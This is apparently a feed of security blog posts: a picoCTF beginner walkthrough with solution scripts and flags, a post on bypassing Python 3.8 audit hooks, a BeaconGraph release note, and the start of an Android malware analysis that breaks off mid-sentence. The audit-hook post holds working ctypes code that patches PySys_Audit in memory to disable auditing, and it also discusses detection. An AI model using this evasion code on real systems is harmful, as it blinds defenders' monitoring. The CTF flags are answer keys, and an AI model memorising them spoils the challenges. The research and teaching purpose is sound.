Fix the syntax error in the Python script to print the flag.\n Similar to the last challenge, the error can be found with an IDE or knowledge of programming languages. In Python, when checking equality between two objects, we use == (or != for inequality). When assigning an object a value, we use =. In this challenge, the wrong operator is being used when checking the value of the flag.\nSolution:\n# Check that flag is not empty if flag == \u0026#34;\u0026#34;: print(\u0026#39;String XOR encountered a problem, quitting.\u0026#39;) else: print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) That is correct! Here's your flag: picoCTF{3qu4l1ty_n0t_4551gnm3nt_f6a5aefc}\n Glitch Cat  Our flag printing service has started glitching!\n$ nc saturn.picoctf.net 65443\n Connecting to the provided endpoint returns some python code we can just copy and run in a script.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/mini2022] └─$ nc saturn.picoctf.net 65443 \u0026#39;picoCTF{gl17ch_m3_n07_\u0026#39; + chr(0x38) + chr(0x31) + chr(0x31) + chr(0x66) + chr(0x66) + chr(0x66) + chr(0x65) + chr(0x65) + \u0026#39;} picoCTF{gl17ch_m3_n07_811fffee}\n HashingJobApp  If you want to hash with the best, beat this test!\nnc saturn.picoctf.net 63116\n Connecting to this endpoint asks us to MD5 a hash of a provided quote. Normally, this can be done in the linux shell with echo -n STRING | md5sum or with Cyberchef. However, we are asked to do this an unspecified number of times. Therefore, we should script this in Python.\nimport re from hashlib import md5 from socket import socket HOST = \u0026#34;saturn.picoctf.net\u0026#34; PORT = 63116 # Create a socket and connect to the challenge sock = socket() sock.connect((HOST, PORT)) # Let\u0026#39;s loop! while True: # Receive the data data = sock.recv(1024).decode() print(data) # If \u0026#34;picoCTF\u0026#34; is in the data, we likely have the flag so break the loop if \u0026#34;picoCTF\u0026#34; in data: break # Use regex to search and capture the phrase between the quotes phrase = re.search(\u0026#34;\u0026#39;(.*)\u0026#39;\u0026#34;, data) match = phrase.group(1) # Calculate the MD5 and send it back! hashed = md5(match.encode()).hexdigest() sock.send(hashed.encode() + b\u0026#34;\\n\u0026#34;) # Print out the \u0026#34;correct\u0026#34; response string print(sock.recv(1024)) Please md5 hash the text between quotes, excluding the quotes: \u0026#39;stun guns\u0026#39; Answer: b\u0026#39;d1bc34c1bbadaea803f9ab0284e25adf\\r\\n\u0026#39; Correct. Please md5 hash the text between quotes, excluding the quotes: \u0026#39;Katharine Hepburn\u0026#39; Answer: b\u0026#39;a05de7a1943e9df33a2d5407f612f16f\\r\\n\u0026#39; Correct. Please md5 hash the text between quotes, excluding the quotes: \u0026#39;Cinco de Mayo\u0026#39; Answer: b\u0026#39;3b55fa8f34aae6b045ccec7f9b5d4c89\\r\\n\u0026#39; Correct. picoCTF{4ppl1c4710n_r3c31v3d_bf2ceb02}  PW Crack 1  Can you crack the password to get the flag? Download the password checker here and you\u0026rsquo;ll need the encrypted flag in the same directory too.\n def level_1_pw_check(): user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) if( user_pw == \u0026#34;60ab\u0026#34;): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return print(\u0026#34;That password is incorrect\u0026#34;) To solve this, we simply input 60ab.\npicoCTF{545h_r1ng1ng_c26330ca}\n PW Crack 2  Can you crack the password to get the flag? Download the password checker here and you\u0026rsquo;ll need the encrypted flag in the same directory too.\n This challenge is similar to the last, except the string is now represented by converting numbers to ascii characters.\nif( user_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65) ) We can run the chr() calls in a separate script to get the expected matching value (which turns out to be 39ce in this case).\nPlease enter correct password for flag: 39ce Welcome back... your flag, user: picoCTF{tr45h_51ng1ng_502ec42e}\n PW Crack 3  Can you crack the password to get the flag? Download the password checker here and you\u0026rsquo;ll need the encrypted flag and the hash in the same directory too.\nThere are 7 potential passwords with 1 being correct. You can find these by examining the password checker script.\n This challenge wants us to enter the correct password and in the script provides 7 possible solutions. We could enter these by hand but instead we\u0026rsquo;ll make the provided script do the work for us.\nOriginal\ndef level_3_pw_check(): user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) user_pw_hash = hash_pw(user_pw) if( user_pw_hash == correct_pw_hash ): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return print(\u0026#34;That password is incorrect\u0026#34;) level_3_pw_check() # The strings below are 7 possibilities for the correct password.  # (Only 1 is correct) pos_pw_list = [\u0026#34;80f4\u0026#34;, \u0026#34;da1d\u0026#34;, \u0026#34;eeda\u0026#34;, \u0026#34;5561\u0026#34;, \u0026#34;5449\u0026#34;, \u0026#34;64ac\u0026#34;, \u0026#34;668b\u0026#34;] Solution\ndef level_3_pw_check(): # user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) for user_pw in [\u0026#34;80f4\u0026#34;, \u0026#34;da1d\u0026#34;, \u0026#34;eeda\u0026#34;, \u0026#34;5561\u0026#34;, \u0026#34;5449\u0026#34;, \u0026#34;64ac\u0026#34;, \u0026#34;668b\u0026#34;]: user_pw_hash = hash_pw(user_pw) if user_pw_hash == correct_pw_hash: print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return # print(\u0026#34;That password is incorrect\u0026#34;) picoCTF{m45h_fl1ng1ng_024c521a}\n PW Crack 4  Can you crack the password to get the flag? Download the password checker here and you\u0026rsquo;ll need the encrypted flag and the hash in the same directory too.\nThere are 100 potential passwords with only 1 being correct. You can find these by examining the password checker script.\n Even with this longer wordlist, we can use the same solution from PW Crack 3!\ndef level_4_pw_check(): # user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) for user_pw in [\u0026#34;b5e5\u0026#34;, \u0026#34;71ff\u0026#34;, \u0026#34;acaf\u0026#34;, \u0026#34;390c\u0026#34;, \u0026#34;1a9b\u0026#34;, \u0026#34;e7e2\u0026#34;, \u0026#34;a35c\u0026#34;, \u0026#34;fafd\u0026#34;, \u0026#34;b759\u0026#34;, \u0026#34;5eba\u0026#34;, \u0026#34;6506\u0026#34;, \u0026#34;d5ce\u0026#34;, \u0026#34;2df5\u0026#34;, \u0026#34;476b\u0026#34;, \u0026#34;ca78\u0026#34;, \u0026#34;8797\u0026#34;, \u0026#34;821c\u0026#34;, \u0026#34;28e7\u0026#34;, \u0026#34;2bcb\u0026#34;, \u0026#34;7906\u0026#34;, \u0026#34;6c2a\u0026#34;, \u0026#34;734e\u0026#34;, \u0026#34;ad9a\u0026#34;, \u0026#34;7acd\u0026#34;, \u0026#34;6c65\u0026#34;, \u0026#34;8d90\u0026#34;, \u0026#34;6c81\u0026#34;, \u0026#34;b3a8\u0026#34;, \u0026#34;bfac\u0026#34;, \u0026#34;d96e\u0026#34;, \u0026#34;8d45\u0026#34;, \u0026#34;b365\u0026#34;, \u0026#34;2bf7\u0026#34;, \u0026#34;bec9\u0026#34;, \u0026#34;25c8\u0026#34;, \u0026#34;c716\u0026#34;, \u0026#34;1854\u0026#34;, \u0026#34;75d0\u0026#34;, \u0026#34;9084\u0026#34;, \u0026#34;a891\u0026#34;, \u0026#34;e863\u0026#34;, \u0026#34;d754\u0026#34;, \u0026#34;5486\u0026#34;, \u0026#34;d652\u0026#34;, \u0026#34;a529\u0026#34;, \u0026#34;af06\u0026#34;, \u0026#34;2b97\u0026#34;, \u0026#34;3e5c\u0026#34;, \u0026#34;6c7d\u0026#34;, \u0026#34;9d26\u0026#34;, \u0026#34;5db7\u0026#34;, \u0026#34;69cc\u0026#34;, \u0026#34;e304\u0026#34;, \u0026#34;94cf\u0026#34;, \u0026#34;e7c9\u0026#34;, \u0026#34;67c7\u0026#34;, \u0026#34;df95\u0026#34;, \u0026#34;8858\u0026#34;, \u0026#34;9319\u0026#34;, \u0026#34;b91e\u0026#34;, \u0026#34;1ff8\u0026#34;, \u0026#34;ed2e\u0026#34;, \u0026#34;9628\u0026#34;, \u0026#34;70ba\u0026#34;, \u0026#34;2ea8\u0026#34;, \u0026#34;a5d8\u0026#34;, \u0026#34;d59b\u0026#34;, \u0026#34;a0c6\u0026#34;, \u0026#34;2f25\u0026#34;, \u0026#34;f7ba\u0026#34;, \u0026#34;db04\u0026#34;, \u0026#34;c53f\u0026#34;, \u0026#34;e2f7\u0026#34;, \u0026#34;bf10\u0026#34;, \u0026#34;1392\u0026#34;, \u0026#34;ff42\u0026#34;, \u0026#34;31d4\u0026#34;, \u0026#34;edab\u0026#34;, \u0026#34;5bea\u0026#34;, \u0026#34;dd25\u0026#34;, \u0026#34;32e6\u0026#34;, \u0026#34;980e\u0026#34;, \u0026#34;8286\u0026#34;, \u0026#34;23e8\u0026#34;, \u0026#34;4379\u0026#34;, \u0026#34;88cc\u0026#34;, \u0026#34;de9a\u0026#34;, \u0026#34;92dd\u0026#34;, \u0026#34;4922\u0026#34;, \u0026#34;7c82\u0026#34;, \u0026#34;c054\u0026#34;, \u0026#34;6587\u0026#34;, \u0026#34;e655\u0026#34;, \u0026#34;5c39\u0026#34;, \u0026#34;ab8c\u0026#34;, \u0026#34;29b3\u0026#34;, \u0026#34;443c\u0026#34;, \u0026#34;31f9\u0026#34;, \u0026#34;fbff\u0026#34;, \u0026#34;a08f\u0026#34;]: user_pw_hash = hash_pw(user_pw) if( user_pw_hash == correct_pw_hash ): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return picoCTF{fl45h_5pr1ng1ng_e7668ddf}\n PW Crack 5  Can you crack the password to get the flag? Download the password checker here and you\u0026rsquo;ll need the encrypted flag and the hash in the same directory too.\nHere\u0026rsquo;s a dictionary with all possible passwords based on the password conventions we\u0026rsquo;ve seen so far.\n Same concept as the previous challenges except we need to read our input from a file instead of having the possible answers in the script.\ndef level_5_pw_check(): # user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) wordlist = open(\u0026#34;dictionary.txt\u0026#34;).read().splitlines() for user_pw in wordlist: user_pw_hash = hash_pw(user_pw) if user_pw_hash == correct_pw_hash: print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return picoCTF{h45h_sl1ng1ng_40f26f81}\n runme.py  Run the runme.py script to get the flag. Download the script with your browser or with wget in the webshell.\n This challenge has an arbitrary requirement to use wget. This is probably to help beginners get familiar with the command line. Also, you can just run or read the script to get the flag.\npicoCTF{run_s4n1ty_run}\n Serpentine  Find the flag in the Python script!\n To get the flag, you can ignore all of the extra content in the script and just add a call to print_flag().\npicoCTF{7h3_r04d_l355_7r4v3l3d_569ab7a6}\n","permalink":"https://daddycocoaman.dev/posts/picoctf/mini2022/beginner-picomini-2022/","summary":"Codebook  Run the Python script code.py in the same directory as codebook.txt.\n This challenge is simple: download the files and run the script in the same directory as the text file. You must also make sure you are running Python from the same directory where the files are located.\npicoCTF{c0d3b00k_455157_687087ee}\n convertme.py  Run the Python script and convert the given number from decimal to binary to get the flag.","title":"[picoCTF] Beginner picoMini 2022 Walkthrough"},{"content":"First of all, if you think you\u0026rsquo;re being cool and edgy by still using Python2.7, I\u0026rsquo;m gonna need you to unthink that ASAP. Python2.7 is reaching end-of-life very soon and we should all be moving on up\u0026hellip;to the 3 side\u0026hellip;and finally get async with that Py.\nThat joke might go over a lot of heads.\n  Anyway, this post is likely to be the first in a multi-part series of talking about a new feature that is coming in Python 3.8 called audit hooks. This first entry will discuss what audit hooking is and how to bypass it as an attacker on a Windows system. Future entries may include other operating systems and/or different methods of approach to accomplishing the same goal.\nThis testing was performed on Windows 10 version 1809 using 32-bit Python 3.8.0b2.\n What is audit hooking? In Python 3.8, which is scheduled to be released October 2019, a new security feature is being implemented called \u0026ldquo;audit hooks\u0026rdquo;. According to PEP 578 and PEP 551, the purpose of audit hooking is to allow transparency into Python\u0026rsquo;s runtime so that events can be monitored and logged just like any other process. I highly recommend reading through both PEPs before continuing with this blog post, but the general idea is that adding Python to environments can increase an attack surface for malicious behavior and there is not much organizations can do to have insight when a Python script is run. If you were to monitor a Python script process, you\u0026rsquo;d typically just see command line arguments and not much else.\nPEP 551 outlines measures that organizations can take in order to help secure Python in production environments, and even touches on the concept of changing the entry point for a Python executable (which will be addressed as spython from here on). Changing the entry point allows for defenders to add additional security measures suitable to their environment for monitoring and logging. PEP 587 is an instance of this security concept, as it demonstrates that you can add a variety of actions from logging to full on prevention of arbitrary actions.\nSteve Dower (@zooba), a core developer, has given talks on implementation of spython and highlights many of the benefits of the proposal. He heavily stresses that the purpose of audit hooking isn\u0026rsquo;t prevention, but it is to allow an organization to know what is happening on their systems.\n Okay but SHOW me audit hooking! Steve shows an applied concept in the video but for this bypass, we\u0026rsquo;re going to use a different kind of hook from his Github. Let\u0026rsquo;s take a look at the NetworkPrompt example:\n\u0026gt;\u0026gt;\u0026gt; from urllib.request import urlopen \u0026gt;\u0026gt;\u0026gt; urlopen(\u0026#34;http://example.com\u0026#34;).read() WARNING: Attempt to resolve example.com:80. Continue [Y/n] y WARNING: Attempt to connect 93.184.216.34:80. Continue [Y/n] y b\u0026#39;\u0026lt;!doctype html\u0026gt;\\n\u0026lt;html\u0026gt;\\n\u0026lt;head\u0026gt;\\n... If you watched the video or read the PEPs, you\u0026rsquo;d have noticed that there are two proposed ways of accomplishing the hooks. One is the easier way, which is just a set of functions inside of your python application that are added as hooks using sys.addaudithook(). However, these hooks will only be in the context of the running application. The second way is more complex, as it involves what is essentially distributed a modified version of the Python executable by changing the entry point. The bypasses that are shown in this series will be in the context of the latter (the spython method).\nIn this example, we can see that the NetworkPrompt example intercepts socket events and prompts the user to confirm before they continue. The code that performs this security check is written in native C:\n#include \u0026#34;Python.h\u0026#34;#include \u0026#34;opcode.h\u0026#34;#include \u0026lt;locale.h\u0026gt;#include \u0026lt;string.h\u0026gt; static int network_prompt_hook(const char *event, PyObject *args, void *userData) { /* Only care about \u0026#39;socket.\u0026#39; events */ if (strncmp(event, \u0026#34;socket.\u0026#34;, 7) != 0) { return 0; } PyObject *msg = NULL; /* So yeah, I\u0026#39;m very lazily using PyTuple_GET_ITEM here. Not best practice! PyArg_ParseTuple is much better! */ if (strcmp(event, \u0026#34;socket.getaddrinfo\u0026#34;) == 0) { msg = PyUnicode_FromFormat(\u0026#34;WARNING: Attempt to resolve %S:%S\u0026#34;, PyTuple_GET_ITEM(args, 0), PyTuple_GET_ITEM(args, 1)); } else if (strcmp(event, \u0026#34;socket.connect\u0026#34;) == 0) { PyObject *addro = PyTuple_GET_ITEM(args, 1); msg = PyUnicode_FromFormat(\u0026#34;WARNING: Attempt to connect %S:%S\u0026#34;, PyTuple_GET_ITEM(addro, 0), PyTuple_GET_ITEM(addro, 1)); } else { msg = PyUnicode_FromFormat(\u0026#34;WARNING: %s (event not handled)\u0026#34;, event); } if (!msg) { return -1; } fprintf(stderr, \u0026#34;%s. Continue [Y/n]\\n\u0026#34;, PyUnicode_AsUTF8(msg)); Py_DECREF(msg); int ch = fgetc(stdin); if (ch == \u0026#39;n\u0026#39; || ch == \u0026#39;N\u0026#39;) { exit(1); } while (ch != \u0026#39;\\n\u0026#39;) { ch = fgetc(stdin); } return 0; } #ifdef MS_WINDOWS int wmain(int argc, wchar_t **argv) { PySys_AddAuditHook(network_prompt_hook, NULL); return Py_Main(argc, argv); } #else int main(int argc, char **argv) { PySys_AddAuditHook(network_prompt_hook, NULL); return _Py_UnixMain(argc, argv); } #endif The wmain and main functions explicitly show that the hooks are added before the main entry point of Python is reached.\n How Auditing occurs The concept of the sys.audit call acts very similar to how AMSI works for Powershell. When an action of interest is executed, Python determines whether or not the action matches an audit rule and acts accordingly. There\u0026rsquo;s a variety of hooks still being built into Python 3.8, but some of the current ones include imports, sockets, and file accesses. With a debugger, we can find the location of PySys_Audit and see this in action when an import occurs:\n    The important thing to take away from these pictures is that the hooking function is provided by python38.dll, which means that just like AMSI checks for Powershell, there is likely a function that determines if auditing needs to occur. As it is happens, there is a list of hook functions and data that is maintained and appended to by PySys_AddAuditHook, according the Python sys module source code.\n_Py_AuditHookEntry *e = _PyRuntime.audit_hook_head; if (!e) { e = (_Py_AuditHookEntry*)PyMem_RawMalloc(sizeof(_Py_AuditHookEntry)); _PyRuntime.audit_hook_head = e; } else { while (e-\u0026gt;next) { e = e-\u0026gt;next; } e = e-\u0026gt;next = (_Py_AuditHookEntry*)PyMem_RawMalloc( sizeof(_Py_AuditHookEntry)); }  Bypassing the hook function It might be possible to find the list in memory and overwrite the head with nothing, but I was able to determine an even easier way to bypass hooking. At some point, when an action occurs that triggers a hook, the function associated it with needs to be called. It appears that each hook function is called in succession with the event that triggered as a parameter to determine the necessity of auditing (part 2 of this series will discuss if this is true or not since only one hook is loaded in this spython example).\n  EAX contains the hook address but it would be pretty dope if that call eax never occurs, wouldn\u0026rsquo;t it? So let\u0026rsquo;s patch those bytes in memory!\nThe method is on par with AMSI bypasses:\nfrom urllib.request import urlopen from ctypes import * def bypass(): #Rename some kernel32 functions GetProcAddress = windll.kernel32.GetProcAddress MoveMemory = windll.kernel32.RtlMoveMemory VirtualProtect = windll.kernel32.VirtualProtect #Load the Python3.8 DLL and get the address of PySys Audit print (\u0026#34;[+] Getting handle...\u0026#34;) pyDLL = windll.LoadLibrary(\u0026#34;python38.dll\u0026#34;)._handle print (\u0026#34;[+] Getting function address...\u0026#34;) if (auditAddr := GetProcAddress(pyDLL, b\u0026#39;PySys_Audit\u0026#39;)): print (\u0026#34;[+] Got Audit Address -- \u0026#34;, hex(auditAddr)) pass #Calculate the offset where \u0026#34;call eax\u0026#34; occurs and change memory permissions print (\u0026#34;[+] Changing memory protect to read/write/execute...\u0026#34;) old = c_ulong(1) if vpcheck := VirtualProtect(auditAddr + 0x11B, c_int(4), 0x40, byref(old)): print (\u0026#34;[+] Successfully changed memory protection!\u0026#34;) pass # Say \u0026#34;NOPE\u0026#34; with some NOPs and patch memory! patch = bytes([0x90, 0x90]) memmove(auditAddr + 0x11B, patch, 2) print (\u0026#34;[+] Audit hook bypassed\u0026#34;) bypass() print(\u0026#34;HTTP Status Code: \u0026#34;, urlopen(\u0026#34;http://example.com\u0026#34;).getcode()) In this method, we create a function called bypass. We\u0026rsquo;ll need to import ctypes (more on this in a bit) so that we can easily access the winapi functions. We load the python38 DLL into memory, find the region where the hook function is called and then replace it with some arbitrary NOPs so that the hook function is never called! This is much cleaner than trying to remove the hooks altogether.\nOutput with no bypass:\n  Output with bypass:\n  Quick side note: You may have noticed the use of the walrus := operator. This is new to Python 3.8 and allows you to declare a variable if the condition returns any type of True value without having to check it afterwards. Convenient!\nDetecting an Audit Hook Bypass Since Python 3.8 is still in beta, it\u0026rsquo;s difficult to state how detection will work in the future. In fact, this approach may not even be valid at release (which is about 3 months away from the time of blog post). However, Steve Dower has emphasized that this feature is not about preventing attacks, but is for detection. This particular vector could be prevented with audit hooks that deny importing ctypes but that is certainly going to do more harm than good.\nThis may require an approach where you look for the absence of evidence in a chain of detection techniques. For example, if you implement hooks for Windows logging, you may see an entry for importing ctypes followed by absolutely no other indicators from other hooks you might normally see. While this isn\u0026rsquo;t the greatest method, that abnormality should be enough to warrant attention.\nAdditionally, Steve Dower and the Python fam are already aware of these possibilities so it may only require some time to think of a new implementation:\n  Conclusion PowerShell has had its improvements so it is certainly time for Python to step up their game. However, you shouldn\u0026rsquo;t rely strictly on audit hooks to secure your Python environments but they will certain help to make Python less of an attack vector.\nThanks Shout out to @TheRealWover, @realytcracker and @dnoiz1 for discussions and helping figure some things out. Shout out to failure for letting me patch the wrong page in memory for hours until I realized I was a dummy.\n","permalink":"https://daddycocoaman.dev/posts/bypassing-python38-audit-hooks-part-1/","summary":"First of all, if you think you\u0026rsquo;re being cool and edgy by still using Python2.7, I\u0026rsquo;m gonna need you to unthink that ASAP. Python2.7 is reaching end-of-life very soon and we should all be moving on up\u0026hellip;to the 3 side\u0026hellip;and finally get async with that Py.\nThat joke might go over a lot of heads.\n  Anyway, this post is likely to be the first in a multi-part series of talking about a new feature that is coming in Python 3.","title":"Bypassing Python3.8 Audit Hooks"},{"content":"Why from v0.2 to v0.69? Cause I\u0026rsquo;m immature AF and it probably made you want to read this blog post.\n Back in October 2018, I released a tool called BeaconGraph after attending the SANS SEC617: Wireless Penetration Testing and Ethical Hacking course taught by James Vidal. I released a PoC of BeaconGraph after I realized that airgraph-ng could use a more modern look. However, that version of BeaconGraph was not very user-friendly, as it was more of a Proof-of-Concept than a usuable tool. Additionally, the UI was pretty trash because I lack adequate web design skills, and attempted to write all of the HTML, CSS and Javascript myself with Cytoscape as the rendering engine. It looked like this:\n  While it was a great attempt to write my own code, I realized at the time that adding additional functionality or even just changing around the UI was going to be a pain. When I finally decided to buckle down and work on it again, I discovered that the team over at plot.ly had written an open source dashboard framework called Dash and had recently implemented a version of Cytoscape. This was perfect, as I now had everything I need to basically rewrite BeaconGraph from scratch. With this, I am able to announce the release of BeaconGraph v0.69!\nYou can find in on my Github here: BeaconGraph\n What\u0026rsquo;s New PyQt5 Look at that login screen. Just look at it.\nBesides moving over to a Dash framework, the other major change to BeaconGraph is that it is now displayed using PyQt5. This eliminates the need to open a browser, although since it is a Flask app, you can open a browser to the page and navigate to the page manually if you want. This creates a more GUI-friendly app and in the future will be compiled into binaries for releases on different OSes. Additionally, this will allow for a greater extension of UI control beyond Dash when it is necessary.\nDash UI By far the most important part of the update, Dash provides a clean looking interface in Python that avoids having to deal with a lot of the underlying hassle for HTML/CSS/JS. I found that creating this UI was not only simpler than trying to write everything myself, but the built-in components and the use of callbacks was everything that was needed to take BeaconGraph to the next level.\nAdditionally, since all the command line arguments have been stripped (for now), you can upload Airodump CSVs using the upload button in the upper left corner. This UI is a work in progress, so for now, all output of any functionality can only be seen in the command line. In the future, there will be a way to view command line output within the app.\nThe database tab in the upper right corner will display all of the database stats. However, the legend on the bottom left will display the numbers that are currently loaded on screen. In a future update, you will be able to set the node colors to whatever you want, which is great for colorblind users.\nThe nodes tab displays information about the currently selected node. Additionally, it also includes a search feature that allows to query the database by any of the properties shown. You can even select multiple of the same property to show multiple nodes!\nCurrently, the Queries tabs and Settings tabs are empty. The Settings tab will contain settings such as database URL, color changes, etc. The Queries tab will be filled with queries that aren\u0026rsquo;t as easy to display via the search bar. In a way in the future update, you will have the ability to write your own queries to display data.\nParsing changes I didn\u0026rsquo;t have this type of data before when I originally starting writing but now BeaconGraph properly displays mesh networks. This is great for showing wireless APs that are connected to each other. Previously, the nodes were separated and it wasn\u0026rsquo;t immediately clear that the separate APs were part of the same mesh. Here\u0026rsquo;s an example of a Sonos sound system mesh network.\nIn this display, we can see that WPA APs are associated with each other, indicating that it is a mesh network.\n What\u0026rsquo;s Gone Node focus Unfortunately, since Dash Cytoscape does not yet implement it, the ability to focus in on a particular node in the display has been lost. For now, this functionality can somewhat be expressed by the search functionality and manual zoom.\nNode highlight Although the highlight feature was a great addition, it was not part of the core Cytoscape functionality. Hopefully in the future, this can be re-implemented, particularly when a bunch of relationships are displayed on screen.\nKnown Bugs Random display movement There is a weird case where sometimes the nodes will keep jumping around the screen and move further and further away from each other. Currently, the solution is to simply restart the app. However, unless this is not a Dash Cytoscape bug I\u0026rsquo;m not aware of, it\u0026rsquo;s likely due to the high parameters nodeOverlap and nodeRepulsion features that are set for the Cytoscape display. I am not sure if it is currently possible, but I will look for a way to make this number more reasonable and dynamic based on the amount of nodes currently displayed in view.\nFuture updates There are a couple of things I\u0026rsquo;d like to add before the official v1 release, such as settings and queries. Beyond that however, I would like to implement additional input sources such as probemon or Kismet. It was suggested to me that I should implement some sort of compatibility with Bettercap. This is also likely to happen in the future. :)\n Acknowledgements Thanks to the following people for providing input and feedback on design and neo4j implementation:\n @JamesLeyteVidal @CptJesus @_wald0  ","permalink":"https://daddycocoaman.dev/posts/beacongraph-v0.69-released/","summary":"Why from v0.2 to v0.69? Cause I\u0026rsquo;m immature AF and it probably made you want to read this blog post.\n Back in October 2018, I released a tool called BeaconGraph after attending the SANS SEC617: Wireless Penetration Testing and Ethical Hacking course taught by James Vidal. I released a PoC of BeaconGraph after I realized that airgraph-ng could use a more modern look. However, that version of BeaconGraph was not very user-friendly, as it was more of a Proof-of-Concept than a usuable tool.","title":"BeaconGraph v0.69 Released"},{"content":"I haven\u0026rsquo;t had much luck with bug bounties. At the time of writing, all of my submissions except one have been duplicates, which can be really demotivating. But instead of giving up, I decided to shift my focus over to learning how to analyze mobile applications, particularly Android APKs. Since then, I\u0026rsquo;ve glanced through a number of APKs while looking for low hanging fruit. With only a minor understanding of the mobile world, I looked through previously disclosed bounties in order to see what kind of things I should be looking for. This sent me down a spiral of activities, intents, providers, services and other things I quickly began to grasp. After going through a majority of the APKs listed on HackerOne with little success, I decided to go do what most guys do when they\u0026rsquo;re bored: go look at porn.\n The Setup Phone: Samsung Galaxy Tab A (SM-T350) OS: Android Marshmallow (6.0.1) IDE: Android Studio 3.4\nThe Target The initial target was intended to be the PornHub mobile application. However, what I came across was malware posing as Pornhub, and as a result, I ended up performing some malware analysis as opposed to looking for vulnerabilities to exploit. While I have access to the Play Store on my device, I was looking through a lot of APKs that could not be found there (like banking apps for other countries). For those apps, I was using APKPure to download a copy after ensuring the package name was correct and the version of the app was as recent as possible. For whatever reason, I didn\u0026rsquo;t originally validate the \u0026ldquo;PornHub\u0026rdquo; app when I downloaded and installed it on my device.\nMy bad.\nInitial Analysis In what I assume is an effort to maintain legitimacy, PornHub hosts their APK on their website. This is likely due to the history of trojan horse apps found on the Google Play Store. Here is a summary of what the official app looks like as opposed to the fake app according to the Mobile Security Framework:\n    The random package name and main activity name were pretty suspicious, as neither reference PornHub. A quick check on VirusTotal shows that at least AV vendor determined the APK to be malicious.\n  So let\u0026rsquo;s get into what makes this malicious.\nExported Activities An Android activity is basically any page that shows up on in an app. It could be a launch page, login page, some sort of webview, etc. Sometimes, activities are exported so that another application can interact with them. This is one of the first things I\u0026rsquo;ve learned to look at when analyzing APKs. The Mobile Security Framework (MobSF) reported 12 external activities:\n com.xxconnect.mask.MainActivity.whatsapp com.xxconnect.mask.MainActivity.twitter com.xxconnect.mask.MainActivity.snapchat com.xxconnect.mask.MainActivity.pinterest com.xxconnect.mask.MainActivity.messenger com.xxconnect.mask.MainActivity.instagram com.xxconnect.mask.MainActivity.facebook com.xxconnect.mask.MainActivity.chrome com.xxconnect.mask.MainActivity.yonote com.xxconnect.mask.MainActivity.bumail com.xxconnect.mask.MainActivity.original  According to the AndroidManifest.xml, all of these activities were actually disabled and were just aliases for com.xxconnect.mask.MainActivity. And while this particular activity was not exported, com.xxconnect.mask.MainActivity.original was an exported activity meaning that ultimately, any application could interact with com.xxconnect.mask.MainActivity.\nMainActivity One of the first things to look for when checking an exported Activity is the onCreate function which runs when the Activity is created. Shout out to sensible naming.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101  @Override protected void onCreate(@Nullable Bundle object) { try { if (this.getAppAdapter().isActivityProxyEnabled(this)) { this.getAppAdapter().onCreate(this, (Bundle)object, (Function1\u0026lt;? super Bundle, Unit\u0026gt;)new Function1\u0026lt;Bundle, Unit\u0026gt;(this){ final /* synthetic */ MainActivity this$0; { this.this$0 = mainActivity; super(1); } public final void invoke(@Nullable Bundle bundle) { MainActivity.access$onCreate$s1136912392(this.this$0, bundle); } }); return; } } catch (AppAdapterInterface.ActivityProxyException | AbstractMethodError throwable) {} this.setTheme(2131755014); super.onCreate((Bundle)object); this.setContentView(2131492894); object = this.getIntent().getStringExtra(\u0026#34;url\u0026#34;); boolean bl = object == null || StringsKt.isBlank((CharSequence)object); if (bl) { object = this.getAppAdapter().getStartPageUrl(); } this.isStartPage = this.isStartPage((String)object); this.isVideoPage = this.getAppAdapter().isVideoPage((String)object); this.setSupportActionBar((Toolbar)this._$_findCachedViewById(R.id.toolbar)); android.support.v7.app.a a2 = this.getSupportActionBar(); if (a2 != null) { a2.e(false); } if ((a2 = this.getSupportActionBar()) != null) { a2.d(true); } if (this.isStartPage) { a2 = this.getSupportActionBar(); if (a2 != null) { a2.b(2131230825); } if ((a2 = this.getSupportActionBar()) != null) { a2.c(2131230885); } } else { a2 = this.getSupportActionBar(); if (a2 != null) { a2.a((CharSequence)null); } } ((FloatingActionButton)this._$_findCachedViewById(R.id.downloadVideoButton)).setOnClickListener(new View.OnClickListener(this){ final /* synthetic */ MainActivity this$0; { this.this$0 = mainActivity; } public final void onClick(View view) { MainActivity.access$requestDownloadVideo(this.this$0); } }); this.initSearchEditText(); this.initWebView();  this.setCookies((String)object); if (this.isStartPage) { this.verifyPassword(); ((ImageView)this._$_findCachedViewById(R.id.logoView)).startAnimation(AnimationUtils.loadAnimation((Context)this, (int)2130771986)); this.hideSplashView(2000L); this.overridePendingTransition(0, 0); ClientUpdate.Companion.checkUpdate$default(ClientUpdate.Companion, (Context)this, false, false, 6, null); AppAdapterFactory.updateAppAdapterDex$default(AppAdapterFactory.INSTANCE, (Context)this, false, 2, null); new Handler().postDelayed(new Runnable(this){ final /* synthetic */ MainActivity this$0; { this.this$0 = mainActivity; } public final void run() { MainActivity.access$showNewFeature(this.this$0); } }, 2000L); ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object); } else { this.hideSplashView(); this.overridePendingTransition(2130771987, 2130771989); ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object); } try { this.getAppAdapter().onCreated(this); return; } catch (AbstractMethodError abstractMethodError) { return; } }   This is a lot to look through, but the only thing that really 